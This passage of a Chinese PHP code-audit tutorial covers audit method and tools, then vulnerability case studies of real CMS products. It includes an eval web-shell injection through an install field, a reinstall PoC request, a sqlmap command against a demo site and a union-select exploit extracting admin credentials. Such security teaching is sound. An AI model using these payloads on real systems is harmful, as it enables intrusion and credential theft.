越权访问............................................................................... - 147 -
ThinkSNS 水平权限问题............................................................- 147 -
Easytalk 垂直权限问题..............................................................- 152 -
代码执行............................................................................... - 156 -
初刻 Crucco 主站任意代码执行........................................... - 156 -
青云客 CMS 前台任意代码执行.............................................- 157 -
getshell.................................................................................. - 162 -
ThinkSNS getshell....................................................................... - 162 -
开源轻论坛 StartBBS 前台 getshell.......................................... - 169 -
蝉知企业门户系统 v2.5 前台 getshell....................................- 176 -
qibocms 分类系统最新版 前台无限制 Getshell....................- 179 -
漏洞组合............................................................................... - 184 -
骑士漏洞组合可致所有数据泄露+getshell.................................. - 184 -
- 4 -
代码审计基础
代码审计概念
代码审计,是对应用程序源代码进行系统性检查的工作。它的目的
是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻
辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。
代码审计不是简单的检查代码,审计代码的原因是确保代码能安全
的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流
程对于控制潜在的风险是非常重要的。
安全问题所在：
从代码级别上，也就是应用层次上考虑代码安全的话（也就是不
考虑底层的语言本身等问题的漏洞），脚本安全问题就是函数和变量
的问题。变量直接或者间接的接收用户不安全的的输入，由于 php 本
身的特性，在 php 中更容易发现这种变量的混乱（很多 php 程序都
用来定义以及初始化以及接收变量，可以直接在程序中使用$id 这样的
变量，初始化完全由 php 的设置来完成，如果稍不注意，就可能导致
变量的混乱从而导致攻击）。
变量接收不安全的输入之后，没有做恰当的过滤又用在不同的地
方，就可能造成不同的危害。如果直接进入数据库然后显示给用户就
会导致跨站脚本攻击，如果用在 sql 语句中就可能导致 Sql 注射攻击，
这几种攻击都是是与具体的脚本语言无关的，在各种脚本语言里都可
能存在。由于 php 的变量很灵活，这些有害的变量如果用在一些逻辑
语句中，就会导致关键代码的跳过如身份验证失败和跳过一些变量的
初始化从而导致程序逻辑混乱而产生其他漏洞。如果这个变量用在了
危险的函数如 include 等等当中，当然就会出现文件包含漏洞，出现
在 fopen 函数里就会可能产生写文件的漏洞，出现
- 5 -
在 mysql_query 函数中就是 Sql 注射漏洞，eval 以
及 preg_replace 中可能导致代码的执行，出现在 htmlspecia 函数中
可能导致出错而绝对路径泄露...... 变量出现的环境决定了它可能的危
害。
总结为：
1. 可以控制的变量【一切输入都是有害的 】
2. 变量到达有利用价值的函数[危险函数] 【一切进入函数的变量
是有害的】
思考了问题的存在，那么如何从代码级别上检查这种漏洞呢？当
然熟悉熟悉 php 语言是最基本的，也应该是抓住函数和变量，危险的
函数里如果有变量那么请确定这个变量的来源，是否正确的初始化，
初始化之后是否能被用户注入敏感字符，在进入函数前这些敏感的字
符是否得到了彻底的清除。对于代码审核工作的难点可能就在于对变
量来源的确定，这需要对 php 特性以及你所审核的代码的熟悉，但也
并不是所有的变量的来源都清晰可见，可能一些初始化的代码并没有
像想象中运行，一些变量里的东西可能也来自于你并不想他来的地方，
还有一些变量可能来自于数据库或者系统的配置文件，但是很可能数
据库和配置文件在之前就已经被修改，或者在后面不安全的操作了这
些变量，这些变量也是不可相信的。本文档就按照变量与函数的思路
来思考脚本代码的安全。
- 6 -
需要了解一些函数
1.常用输出函数
1.1 echo
输出一个字符串或变量，但是不能输出数组。
1.2 print_r()
输出一个数组。
1.3 var_dump()
输出一个变量的结构，这个变量包含普通变量，数组，对象等
2、获取当前进程所有变量/函数/常量/类
2.1 get_defined_vars(void)
此函数返回一个包含当前可用的变量列表的多维数组，这些变量包括
环境变量、服务器变量和用户定义的变量。
在函数中使用此函数可以调试函数中的变量，而不会返回其他的变量。
2.2 $GLOBALS 变量
此函数返回所有的全局变量，当然函数中定义的变量不是全局变量。
2.3 get_defined_functions(void)
获取所有已经定义的函数,包含内部函数和用户定义的函数。
输出用户定义的函数方法为：
$hhh=get_defined_functions();var_dump($hhh['user']);
2.4 get_defined_constants(void)
- 7 -
返回所有可用的常量，包含系统常量和用户定义的常量。
2.5 get_declared_classes(void)
返回所有可用的类，包含系统类和用户定义的类。
2.6 get_included_files()
返回所有的包含的文件路径的数组，included 和 required 的包含文
件
3、php 断点调试方法
3.1
exit 或 die
输出一个消息并退出程序执行。
需要了解的超全局变量
PHP 中的许多预定义变量都是“超全局的”，这意味着它们在一个脚
本的全部作用域中都可用。在函数或方法中无需执
行 global $variable; 就可以访问它们。
$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
- 8 -
1 $GLOBALS — 引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变
量（从函数或方法中均可）。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量
的名字就是数组的键。
下面的例子展示了如何使用超级全局变量 $GLOBALS：
实例
<?php
$x = 75;
$y = 25;
function addition() {
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z; ?>
运行结果：95
在上面的例子中，由于 z 是 $GLOBALS 数组中的变量，因此在函数之
外也可以访问它。
2 $_SERVER
$_SERVER 这种超全局变量保存关于报头、路径和脚本位置的信息。
下面的例子展示了如何使用 $_SERVER 中的某些元素：
实例
<?php echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
- 9 -
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];?>
运行结果：
/example/php/demo_php_global_server.php
www.0day5.com
www.0day5.com
http://www.0day5.com/tiy/s.asp?f=demo_php_global_server
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (K
HTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
/example/php/demo_php_global_server.php
下表列出了您能够在 $_SERVER 中访问的最重要的元素：
元素/代码
描述
$_SERVER['PHP_SELF']
返回当前执行脚本的文件名。
$_SERVER['GATEWAY_INTERFACE']
返回服务器使用的 CGI 规范的版本。
$_SERVER['SERVER_ADDR']
返回当前运行脚本所在的服务器的 IP 地址。
$_SERVER['SERVER_NAME']
返回当前运行脚本所在的服务器的主机名（比
如 www.w3school.com.cn）。
$_SERVER['SERVER_SOFTWARE']
返回服务器标识字符串（比如 Apache/2.2.24）。
$_SERVER['SERVER_PROTOCOL']
返回请求页面时通信协议的名称和版本（例如，
“HTTP/1.0”）。
$_SERVER['REQUEST_METHOD']
返回访问页面使用的请求方法（例如 POST）。
$_SERVER['REQUEST_TIME']
返回请求开始时的时间戳（例如 1577687494）。
$_SERVER['QUERY_STRING']
返回查询字符串，如果是通过查询字符串访问此页面。
- 10 -
$_SERVER['HTTP_ACCEPT']
返回来自当前请求的请求头。
$_SERVER['HTTP_ACCEPT_CHARSET']
返回来自当前请求的 Accept_Charset 头（ 例
如 utf-8,ISO-8859-1）
$_SERVER['HTTP_HOST']
返回来自当前请求的 Host 头。
$_SERVER['HTTP_REFERER']
返回当前页面的完整 URL（不可靠，因为不是所有用户代理
都支持）。
$_SERVER['HTTPS']
是否通过安全 HTTP 协议查询脚本。
$_SERVER['REMOTE_ADDR']
返回浏览当前页面的用户的 IP 地址。
$_SERVER['REMOTE_HOST']
返回浏览当前页面的用户的主机名。
$_SERVER['REMOTE_PORT']
返回用户机器上连接到 Web 服务器所使用的端口号。
$_SERVER['SCRIPT_FILENAME']
返回当前执行脚本的绝对路径。
$_SERVER['SERVER_ADMIN']
该值指明了 Apache 服务器配置文件中
的 SERVER_ADMIN 参数。
$_SERVER['SERVER_PORT']
Web 服务器使用的端口。默认值为 “80”。
$_SERVER['SERVER_SIGNATURE']
返回服务器版本和虚拟主机名。
$_SERVER['PATH_TRANSLATED']
当前脚本所在文件系统（非文档根目录）的基本路径。
$_SERVER['SCRIPT_NAME']
返回当前脚本的路径。
$_SERVER['SCRIPT_URI']
返回当前页面的 URI。
- 11 -
审计之初
审计流程
代码审计的目的是以挖掘到可以利用的漏洞，所以我们不必通篇
的去将代码完全看懂，但是在开始之前做一些准备还是必须，就像渗
透之前，我们也需要收集足够多的目标信息，利用工具和制定渗透计
划一样。
通常情况下在刚开始练习审计时，拿到一套源码，马上做的事情
就是，丢到工具里，去扫敏感的函数，然后去一个一个的回溯它，找
到入口点。但是，这样审计了几套源码，会发现这个方法很浪费时间，
因为每次都要在回溯过程中，不断的去寻找源码中定义的一些通用函
数。由于不了解整个源码的流程，导致在找这些通用函数的过 程中浪
费了很多的时间与精力。
所以，需要重新调整审计流程。在拿到源码之后，先从它开始的
地方（一般是根目录下的 index 文件）按照执行的顺序去读代码，一
直到它的初始化内容， 和基本功能实现完毕为止。这样，可以明确的
了解整套源码的结构，哪一种函数文件放在哪个文件夹下；知道通用
函数放在哪个文件中。这对我们在之后阅读“疑 似”有问题的代码时，
有很好的帮助，例如，在看到一个通用函数时，我们可以快速的切换
到通用函数文件，查找这个函数的实现代码。这个方法带来好处还有
好多，这里就不一一列出了。
审计了解
流程的优化可以帮助我们在之后审计的过程中，免去时间和精力
上不必要的浪费。而在深入阅读代码之前，了解整套代码的每一个功
能点，每一个输入框和他曾经出现的漏洞及相关修补方案，将会大大
提高我们在之后的审计效率。
- 12 -
在了解源码的每个功能时，如果你能够注意以观察 url 的变化，也许能
你在后面的阅读带代码过程中跳过很多没用的分支。
而在测试每一个输入框时，如果你仔细观察 HTML 源码中输入框的 id
或者 name，这也许能帮你在后面的审计过程中更快的定位到利用点。
尝试了解这套源码曾经出现过的漏洞，以及相关的修补方案，这
是代码审计中的一条不错的捷径。因为一套源码虽然可能不是一个人
完成的，但是它肯定是基于一 个框架的，为这套源码编码的程序员们
都会围绕着这个框架进行开发，他们肯定必须要遵守框架的规则，而
了解这些曾经出现过的这些漏洞，说不定可以发现他们所 共有的陋习。
如果你能够了解这些漏洞修补的详细细节，那就更好了，因为随着 Web
平台的升级变迁，或者新的技术出现，这些修补也许就会变成摆设。
制定计划
有计划地做事，这是一个很好的习惯。计划可以帮助我们明确我
们取得了什么样的成果就可以称之为成功，面临什么样的问题才可以
称之为失败。这样可以避免我们可能因为某天的情绪不佳而“果断”
的放弃，也可以避免我们将时间不断地投向一个不可能完成的任务。
我在代码审计学习过程中，总结有两点是在前期计划必须明确的。
1.要找什么样的漏洞
2.要花多长时间完成这次审计
明确找什么样的漏洞，能够方便我们在收集相关资料（如：引发
问题的函数字典）时的目标更精准，收集资料更全面。
确定整个审计的时间范围，一时间作为审计的量化标准，可以准确的
定位审计是否成功，当然，在不同的情况或者过程中，计划时间是可
以调整的。
- 13 -
如何进行漏洞挖掘
程序的本质是变量与函数，漏洞所依赖的也无法脱离这两个元素。
让我们先来看下漏洞形成的条件
1.可以控制的变量【一切输入都是有害的 】
2.变量到达有利用价值的函数[危险函数]【一切进入函数的变量是
有害的】
漏洞的利用效果最终也取决与函数的功能。所以我们在下面讲述
漏洞挖掘的过程中，也将围绕着这两个元素来展开。
我们提到漏洞形成的两大元素是可控变量，和可控变量能够进入
的函数。那么在漏洞挖掘中，我们也不外乎从这两个方向来开始。
从变量开始跟踪，我们就好像处在下图中圆形的位置，我们要处
理的“路”很多，但不是每条“路”都能到达三角形（函数）。
- 14 -
所以在一般的人工代码审计过程中，大都会选择查找危险函数，
然后根据危险函数中的变量回溯到传入变量的方式。
我们的审计方法也是偏向于通过函数查找变量，虽然这种方式效
果很好，但是我们也不应放过变量跟踪。如果你拥有一款不错的变量
跟踪自动化工具，那么你很幸运，不用花费很大的精力便可以完成这
个任务。如果你是手工审计的话，我建议，你在跟踪函数之前，收集
所有可控变量（参数）的“最终形态”（所谓最终形 态，就是用户通
过各种方式传入进程序经过各种处理后，等待调用时的形态）。这样
可以帮助我们能够在跟踪危险函数时，更快的确定，函数是否能被利
用。
如何跳出传统的思维
很多应用程序的官方都成立了安全部门，或者雇佣安全人员进行
代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这
样的形势导致了一个局面：大公司的产品安全系数大大的提高，那些
很明显的漏洞基本灭绝了，那些大家都知道的审计技术都无用武之地
了。
- 15 -
没有绝对安全的代码，我们需要跳出传统的思维，来获得新的漏
洞。这也就是所谓的“跳出画来看画”，但是如何跳出来，这是我们
当前所要思考的地方。
变量跟踪自动化的可行性
在学习和练习代码审计的过程中，我们几乎没有发现一款能够进
行变量跟踪的自动工具，大多数都是搜索危险函数的工具。传统的代
码审计都是基于静态的，而变量跟踪需要动态的实现，这也是导致跟
踪变量，工作量大的主要原因。
基于这个问题，目前有个想法，可以在一款代码调试工具中添加
特定变量发生改变或进入某些函数之前运行暂停的功能。这样，我们
在代码审计的过程中便可以设定我们需要跟踪的可控变量，当其值发
生变化时，能够马上了解它的情况。
也可以制作一个脚本，能够罗列出特定变量所必须或者有可能经
历的函数。这样我们可以结合危险函数跟踪的结果进行交集的查找，
大大的提高了效率和效果。
暂停一下，全部是文字的话不是很无聊？就算我不是原创我也应
该整理的很好玩有规律的让大家愉快的阅读。那么。开启新世界大门：
- 16 -
一些代码审计工具介绍
古语有云：工欲善其事，必先利其器。所以我们接下来要介绍几
款代码审计辅助工具给大家，可以让大家适当的减少工作量。
1.CodeScan
官方网站：www.codescan.com
这个比较老牌了。市面上流出的版本好像就是 1.6 和 1.9 的 crack，
商业软件，比较蛋疼。不过 GUI 界面操作起来很方便。
这里也不多说什么，主要是 Include 的提示设置，装过软件自己看看
就知道了。
2.RIPS
官方网站：rips-scanner.sourceforge.net
PHP 写的，需要环境，直接解压到 wwwroot 就好了。不适合扫
描整个文件夹项目，或者要修改 PHP 配置，把代码执行超时的时间设
置大一点。
RIPS 对代码进行静态漏洞扫描的基本思想有两条：
1.对容易产生漏洞的函数进行跟踪(例如:mysql_query())
RIPS 认为，所有的注入漏洞最终都要经过一些特定的数据库操作
函数，mysql_query()或程序自定义的类函数，这些函数是产生漏洞的
- 17 -
导火索，只要对这些函数的控制流和参数流进行回溯扫描，就可以发
现大部分的代码漏洞。
2.对产生注入漏洞的源头即用户传输过来的数据流进行跟踪
($_GET,$_POST,$_COOKIE)
“用户输入的一切数据都有害”，大部分的注入漏洞，包括二次注入，
究其原因都是因为对用户的输入数据没有做好过滤，RIPS 对这些敏感
数据进行跟踪，并判断其在进入敏感函数(mysql_query())之前有没有
对其进行有效处理(addslashes())来判断这条数据流是否存在漏洞。
动态扫描加上静态定位，最终使我们能更容易的发现一些漏洞并及时
使其得到修补。
3.PHPXref
官方网站：phpxref.com
严格的说 PHPxref 也是做开发的好帮手，它能将某一个程序（如
Wordpress）中所有的函数、变量、常量等分类记录，
生成一个 HTML 网页列表，你可以轻松地在这个列表中找到某个函数
在什么位置被定义，在什么位置被引用。所以说非常适合大型项目。
- 18 -
同时还是最主要的，It’s free.
4. Seay 源代码审计系统
官网:www.cnseay.com
这是一款结合白盒跟黑盒的半自动化国产代码安全审计系统。
该版本只支持 PHP，近期会加上 ASPX、ASP、JSP 的代码审计功能，
并且实现 4 套规则的配置，另外还会加上自定义审计的扩展名，方便
灵活审计不同脚本代码。
别外两款开源的代码审计工具
https://github.com/dpnishant/raptor
http://dpnishant.github.io/raptor/
https://github.com/wufeifei/cobra/
练习题：
- 19 -
（）下列哪一种语法必须设置？
A.<?php code; ?>
B.<? code; ?>
C.<script language="php"> Code; </script>
D.<% Code; %>
() php 是那种类型的语言
A.编译型
B.解释型
C.两都都是
D.两都都不是
$_POST $_GET $_REQUEST 含义？
什么是代码审计？
代码审计需要会开发吗？
在我遇到的一些人中，有些说要有些说不需要，这里不评论。 可在我
qq 空间留言你息怕想法，千万不要因为别人说什么就是什么。
搭一个自己的代码审计环境。
- 20 -
重装漏洞
首先拿到一份源码 肯定是先 install 上。 而在安装文件上又会经
常出现问题。
其他的基本都是通过生成一个 lock 文件 来判断程序是否安装过
了 如果存在这个 lock 文件了 就会退出了。 这里首先 先来说一下安
装文件经常出现的问题。
开源轻论坛 StartBBS 前台 getshell
作者：phith0n
安装好后发现根目录下多了一个 install.lock，一般的 cms 为了防止
被重安装就会在目录下生成一个类似的文件，下次有人再访问安装脚本的
时候，脚本会检测，如果目录下有这个文件就提示“请删除后再安装”。
原本应该是没有任何问题的。但我们来到安装脚本，
/app/controllers/install.php 中，查看它是怎么处理的：
class Install extends Install_Controller
{
function __construct ()
{
parent::__construct();
$this->load->library('myclass');
$file=FCPATH.'install.lock';
if (file_exists($file)){
$this->myclass->notice('alert("系统已安装过
");window.location.href="'.site_url().'";');
}
}
- 21 -
构造函数里检查是否存在 install.lock，然后用 javascript 的方式告诉
用户“系统已安装过”，然后跳转。但是这个脚本根本还没有结束嘛，这
个类里的函数都可以运行，并不因为返回了一个 window.location.href
就停止运行。（this->myclass->notice()中也没有停止运行的代码）
然后，在往下翻，就能看到安装的函数：
public function step($step)
{
$data['step']=$step;
if($step==1 || $step==2){
$data['permission'] = $this->_checkFileRight();
$this->load->view('install',$data);
}
if($step==3){
$this->_install_do();
}
}
function _install_do()
{
$data['step']=3;
if($_POST){
$dbhost = $this->input->post('dbhost');
$dbport = $this->input->post('dbport');
$dbname = $this->input->post('dbname');
$dbuser = $this->input->post('dbuser');
$dbpwd =
$this->input->post('dbpwd')?$this->input->post('dbpwd'):'';
$dbprefix = $this->input->post('dbprefix');
$userid = $this->input->post('admin');
$pwd = md5($this->input->post('pwd'));
$email = $this->input->post('email');
$sub_folder = '/'.$this->input->post('base_url').'/';
$conn =
- 22 -
mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd);
if (!$conn) {
die('无法连接到数据
库服务器，请检查用户名和密码是否正确');
}
if($this->input->post('creatdb')){
if(!@mysql_query('CREATE
DATABASE IF NOT EXISTS '.$dbname)){
die('指定的数据库('.$dbname.')系统尝试创建失败，请通过其他方式
建立数据库');
}
}
if(!mysql_select_db($dbname,$conn)){
die($dbname.'数据库不存在，请创
建或检查数据名.');
}
$sql = file_get_contents(FCPATH.'app/config/startbbs.sql');
$sql = str_replace("sb_",$dbprefix,$sql);
$explode = explode(";",$sql);
$data['msg1']="创建表".$dbname."成功，请稍后……";
foreach ($explode as $key=>$value){
if(!empty($value)){
if(trim($value)){
mysql_query($value.";");
}
}
}
$password = $pwd;
$ip=$this->myclass->get_ip();
$insert= "INSERT INTO
".$dbprefix."users (group_type,gid,is_active,username,password,email,regtime,ip)
VALUES ('0','1','1','".$userid."','".$password."','".$email."','".time()."','".$ip."')";
mysql_query($insert);
- 23 -
mysql_close($conn);
$data['msg2']="安装完成，正在保存配置文件，
请稍后……";
$dbconfig = "."\$active_group = 'default';\n"
."\$active_record = TRUE;\n"
."\$db['default']['hostname'] = '".$dbhost."';\n"
."\$db['default']['port'] = '".$dbport."';\n"
."\$db['default']['username'] = '".$dbuser."';\n"
."\$db['default']['password'] = '".$dbpwd."';\n"
."\$db['default']['database'] = '".$dbname."';\n"
."\$db['default']['dbdriver'] = 'mysql';\n"
."\$db['default']['dbprefix'] = '".$dbprefix."';\n"
."\$db['default']['pconnect'] = TRUE;\n"
."\$db['default']['db_debug'] = TRUE;\n"
."\$db['default']['cache_on'] = FALSE;\n"
."\$db['default']['cachedir'] = 'app/cache';\n"
."\$db['default']['char_set'] = 'utf8';\n"
."\$db['default']['dbcollat'] = 'utf8_general_ci';\n"
."\$db['default']['swap_pre'] = '';\n"
."\$db['default']['autoinit'] = TRUE;\n"
."\$db['default']['stricton'] = FALSE;";
$file = FCPATH.'/app/config/database.php';
file_put_contents($file,$dbconfig);
//保存 config 文件
if($sub_folder){
$this->config->update('myconfig','sub_folder', $sub_folder);
}
$encryption_key =
md5(uniqid());
if($encryption_key){
$this->config->update('myconfig','encryption_key', $encryption_key);
- 24 -
}
$data['msg3']="保存配
置文件完成！";
touch(FCPATH.'install.lock');
$data['msg4']="创建锁定安装文件 install.lock
成功";
$data['msg5']="安装
startbbs 成功！";
}
$this->load->view('install',$data);
}
当 step 函数的参数为 3 时，就执行安装函数_install_do()，这个函数
里初始化了数据库，并把数据库配置文件写入了
“/app/config/database.php”。于是，我们可以构造一下数据包直接
把一句话写入到这个配置文件里。
我们看到，这个函数接收了许多 post 数据：
$dbhost = $this->input->post('dbhost');
$dbport = $this->input->post('dbport');
$dbname = $this->input->post('dbname');
$dbuser = $this->input->post('dbuser');
$dbpwd =
$this->input->post('dbpwd')?$this->input->post('dbpwd'):'';
$dbprefix = $this->input->post('dbprefix');
$userid = $this->input->post('admin');
$pwd = md5($this->input->post('pwd'));
$email = $this->input->post('email');
$sub_folder = '/'.$this->input->post('base_url').'/';
其中 dbhost、dbport、dbname、dbuser、dbpwd 都不能随便乱写，
- 25 -
乱写的话安装就会出错，而 userid、pwd、email、sub_folder 都是写入
数据库的，不写入配置文件。所以就剩下 dbprefix 了，所以我们可以这
样构造这个字段：
dbprefix=sb_';@eval ($_POST[101]);$xxx='
安装的时候
Simple-Log 博客系统全版本重安装漏洞
作者：猪头子
在没有删除 install 文件夹的情况下，install/index.php 中用户可以
提交远程 mysql 账号和密码，导致 simple-log 会重新安装，由于 header()
函数并不会结束之后的代码，因此漏洞出现。
$setup=! empty($_POST['setup' ])?$_POST['setup']: 'check';
if (file_exists(PBBLOG_ROOT.'home/data/config.php' ))
{
require_once(PBBLOG_ROOT.'home/data/config.php' );
}
//用户只要以 post 方式提交 setup=finish 就可进入安装流程
if ($install_lock&& $setup!='finish')
{
- 26 -
//header 头并不会结束之后的代码，漏洞出在这里
header( 'location: ../index.php');
}
elseif ($setup=='finish' )
{
$error= array();
if (empty ($_POST['host']))
{
$error[]= '请填写数据库地址' ;
}
if (empty ($_POST['dbname']))
{
$error[]= '请填写数据库' ;
}
if (empty ($_POST['dbuser']))
{
$error[]= '请填写数据库用户名' ;
}
if (empty ($_POST['admin_user']))
{
$error[]= '请填写管理员账号' ;
}
if (empty ($_POST['admin_pass']))
{
$error[]= '请填写管理员密码' ;
}
if (empty ($_POST['blogname']))
{
$error[]= '请填写博客名字' ;
}
if ($error)
{
echo '错误信息';
foreach ($error as $val)
- 27 -
{
echo "$val ";
}
exit;
}
//这里填写自己 mysql 数据库的连接信息
$dbhost=$_POST[ 'host'];
$dbuser=$_POST[ 'dbuser'];
$dbpw=$_POST[ 'dbpass'];
$dbname=$_POST[ 'dbname'];
$charset
= 'utf8';
$db= new cls_mysql();
if ($db->connect($dbhost,$dbuser,$dbpw,$dbname,$charset, $pconnect))
{
$error[]= '数据库连接错误' ;
}
if (empty ($_POST['dbprefix']))
{
$dbprefix='fb_';
}
else
{
$dbprefix=$_POST['dbprefix'];
}
//提交的 admin_user 和 admin_pass 最后将成为 web 管理员的账号和密码
$admin_user=$_POST[ 'admin_user'];
$admin_pass=$_POST[ 'admin_pass'];
$blogname=$_POST[ 'blogname'];
$blogdesc=$_POST[ 'blogdesc'];
$blog_keyword=$_POST[ 'blogkeyword'];
- 28 -
//之后就写入配置文件和更新数据库，再以后这个 simple-log 的数据库将
使用用户提交的数据库
PoC:
POST http://xxx/install/index.php HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; U; Edition IBIS; zh-cn)
Presto/2.10.229 Version/11.64
Host: www.xxx.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/webp, image/jpeg, 省略...
setup=finish&host=mysql 的地址&dbname=数据库名&dbuser=帐号&dbpass=密码
&admin_user=管理员帐号&admin_pass=管理员密码&blogname=博客名
- 29 -
不好意思，第一章我就放这个，如果没有基础的同学当然是看
不懂。我建议一下你去学完 php 在来，但是不要灰心。接下来
- 30 -
才是刚开始，现在的重装漏洞少之又少，所以可以不要在意细
节。
上面我是故意放这些案例，其实我也完
全看不懂。
SQL 注入漏洞
SQL 注入攻击（SQL Injection），简称注入攻击，SQL 注入是
web 开发中最常见的一种安全漏洞。SQL 注入漏洞可以用来从数据库
获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一
系列恶意操作，甚至有可能获取数据库乃至系统最高权限
现在注入可分为六种，哪六种呢？可以参考 sqlmap 目录下的
payloads
01_boolean_blind.xml
02_error_based.xml
03_inline_query.xml
04_stacked_queries.xml 05_time_blind.xml
06_union_query.xml
其实还不止，还有二次注入等等
- 31 -
WiiNews(Mobile 新闻系统)
作者：路人甲
先来段简单的程序：
$id=sqlReplace(Trim($_GET['id']));
$sqlStr="select * from wiinews_news where news_id=$id";
$result = mysql_query($sqlStr) or die ("查询失败，请检查 SQL 语句。
编码号：1010");
$row = mysql_fetch_array($result);
这里通过$_GET 之后给了 sqlReplace()这个函数处理。然而，trim 是
什么自己抱着手册来看。
然后就带入了 sql 查询，但在之之后，我们需要查看 sqlReplace()这个
函数对$_GET['id'] 做了一些什么处理
function sqlReplace($str)
{
$strResult = $str;
if(!get_magic_quotes_gpc())
//如果 gpc 没有开的话
{
$strResult = addslashes($strResult);
//编码
- 32 -
}
return HTMLEncode($strResult);
//gpc 开的话，返回 HTMLEncode()
}
这里判断如果 gpc 没有开启的话通过 php 内置函数 addslashesf 进行
处理。如果开启的话则用 HTMLEncode 来处理。这里继续来路进这个
函数
function HTMLEncode($str){
if (!empty($str)){
$str=str_replace("&","&",$str);
$str=str_replace(">",">",$str);
$str=str_replace("<","<",$str);
$str=str_replace(CHR(32)," ",$str);
$str=str_replace(CHR(9)," ",$str);
$str=str_replace(CHR(9)," ",$str);
$str=str_replace(CHR(34),""",$str);
$str=str_replace(CHR(39),"'",$str);
$str=str_replace(CHR(13),"",$str);
$str=str_replace(CHR(10),"",$str);
}
return $str;
}
看到了,只拦截了引号，空格，并没有拦截类似 and,select 的函数
- 33 -
现在懂了吧，看到输入进来的变量通过什么函数处理，然后一直跟这
个函数，一直到进入数据库为止。 现在有些程序忘记过滤是另外一回
事，现在的程序而不是找忘记哪里过滤了，而是怎么去绕过了而。
- 34 -
tpshop 注入
作者：Dark' Evil
先从头开始分析：
File:index.php
if (extension_loaded('zlib')){
ob_end_clean();
ob_start('ob_gzhandler');
}
// 检测PHP环境
if(version_compare(PHP_VERSION,'5.3.0','<'))
die('require
PHP > 5.3.0 !');
//检测是否已安装TPshop系统
if(file_exists("./Install/") && !file_exists("./Install/install.lock")){
if($_SERVER['PHP_SELF'] != '/index.php'){
header("Content-type: text/html; charset=utf-8");
exit("请在域名根目录下安装,如:<br/>
www.xxx.com/index.php 正确 <br/>
www.xxx.com/www/index.php 错误,域名后面不能圈套目录, 但项
目没有根目录存放限制,可以放在任意目录,apache虚拟主机配置一下
即可");
}
header('Location:/Install/index.php');
exit();
}
error_reporting(E_ALL ^ E_NOTICE);//显示除去 E_NOTICE 之外
的所有错误信息
- 35 -
// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false
define('APP_DEBUG',false);
// 定义应用目录
define('APP_PATH','./Application/');
//
定义插件目录
define('PLUGIN_PATH','plugins/');
看到定义的程序目录为：
define('APP_PATH','./Application/');
来到这目录下查看一些常用的文件
File:Application/Home/Controller/ApiController.class.php
Code:20
class ApiController extends Controller {
/*
* 获取地区
*/
public function getRegion(){
$parent_id = I('get.parent_id');
$selected = I('get.selected',0);
$data =
M('region')->where("parent_id=$parent_id")->select();
$html = '';
if($data){
foreach($data as $h){
if($h['id'] == $selected){
$html .= "<option value='{$h['id']}'
selected>{$h['name']}</option>";
}
$html .= "<option
value='{$h['id']}'>{$h['name']}</option>";
- 36 -
}
}
echo $html;
}
这里通过`I('get.parent_id')` 这是 thinkphp 的一个写法，通过 GET
接收 parent_id 这个变量
获取的 parent_id 之后直接带入了数据库查询：
$data = M('region')->where("parent_id=$parent_id")->select();
这里存在注入
demo 注入：
sqlmap git:(master) ✗ python sqlmap.py -u
"http://demo2.tp-shop.cn/index.php?m=Home&c=Api&a=get
Region&parent_id=2" -p parent_id -v 3
其实我来总结一下，代码审计首先你得看得懂代码。可能你学完 php
基础之后还是对有些程序看不懂，其实已经利用了框架开发，所以这
- 37 -
时候你要开始学习框架，等学完了你再来看这套程序的时候。你就会
突然明白很多。
74CMS 人才系统注入全版本通杀进后台
作者：小屁孩
整套程序过滤的还是比较全面的 不过所有版本都是 GBK 编码是
他的硬伤 但是基本上字符串入库的时候作者都使用了 iconv 来把提交
过来的数据编码转换成 utf8
所以利用宽字符注入就没办法了 但是过滤完善仅限 3.2 版本之前
最新的 3.2 版本 plus 目录多了几个文件 不知道是不是换了程序员了...
先上两个白痴注入吧~
File: \plus\ajax_officebuilding.php
line:16
- 38 -
if($act == 'alphabet')
{
$alphabet=trim($_GET['x']);
if (!empty($alphabet))
{
$result = $db->query("select * from ".table('category')." where
c_alias='QS_officebuilding' AND c_index='{$alphabet}' ");
while($row = $db->fetch_array($result))
{
if ($listtype=="li")
{
$htm.="
{$row['c_name']}";
}
else
{
$htm.="
{$row['c_name']}{$row['stat_jobs']}";
}
}
if (empty($htm))
{
$htm="没有找到首字母为：{$alphabet}
的写字楼！";
}
$htm.="";
exit($htm);
}
}
$_GET['x']获取的值给$alphabet, 而$alphabet 直接插入到了 SQL 查询语句中。
所以这里造成了注入
- 39 -
exp：
plus/ajax_officebuilding.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,c
oncat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_nam
e,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23
注入也是白搭 因为 hash 解不出来，经过多次加密的 试了十几个一个
都没解出来....
File:\admin\admin_login.php (42 行)
elseif($act == 'do_login')
{
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
$admin_name = isset($_POST['admin_name']) ?
trim($_POST['admin_name']) : ''; //没过滤~~~
$admin_pwd = isset($_POST['admin_pwd']) ?
- 40 -
trim($_POST['admin_pwd']) : '';
